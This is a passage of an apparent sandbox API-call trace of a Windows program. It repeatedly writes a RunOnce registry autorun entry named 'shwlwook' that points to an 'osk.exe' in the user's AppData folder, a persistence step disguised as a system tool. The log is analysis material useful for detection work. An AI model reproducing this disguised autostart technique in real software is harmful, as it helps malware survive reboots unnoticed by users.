returned 0x0 [0283.646] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.646] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.646] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.647] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.647] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.647] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.647] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.661] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.661] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.662] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.662] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.662] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.662] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.662] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.663] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.663] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.677] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.677] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.678] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.678] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.678] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.678] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.678] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.679] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.679] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.693] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.693] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.693] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.693] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.694] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.694] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.694] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.694] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.694] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.708] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.708] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.708] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.709] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.709] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.709] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.709] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.709] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.710] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.724] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.724] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.724] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.724] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.725] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.725] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.725] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.725] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.725] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.739] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.739] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.740] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.740] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.740] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.740] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.741] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.741] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.750] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.759] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.759] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.759] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.760] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.760] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.760] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.760] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.760] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.761] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.819] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.820] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.820] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.821] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.821] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.821] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.821] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.821] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.822] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.835] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.835] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.836] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.836] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.836] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.836] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.837] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.837] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.837] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.849] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.849] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.849] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.850] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.850] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.850] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.850] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.850] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.851] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.865] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.865] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.866] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.866] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.866] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.866] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.866] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.867] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.867] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.880] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.880] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.880] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.881] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.881] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.881] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.881] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.881] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.882] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.896] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.896] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.896] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.896] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.896] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.897] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.897] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.897] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.897] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.911] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.911] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.912] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.912] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.912] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.912] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.913] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.913] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.913] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.927] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.927] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.928] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.928] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.928] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.929] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.929] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.929] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.929] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.942] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.942] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.943] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.943] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.943] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.943] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.944] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.944] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.944] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.958] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.958] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.959] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.959] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.959] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.959] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.959] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.960] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.960] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.974] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.974] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.974] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.975] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.975] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.975] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.975] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.975] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.976] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0283.989] TranslateMessage (lpMsg=0x95f69c) returned 0 [0283.990] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0283.990] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0283.990] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0283.990] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0283.990] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0283.991] RegCloseKey (hKey=0x3c0) returned 0x0 [0283.991] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0283.991] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.005] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.005] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.006] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.006] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.006] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.006] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.006] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.006] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.007] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.021] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.021] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.021] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.021] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.022] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.022] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: 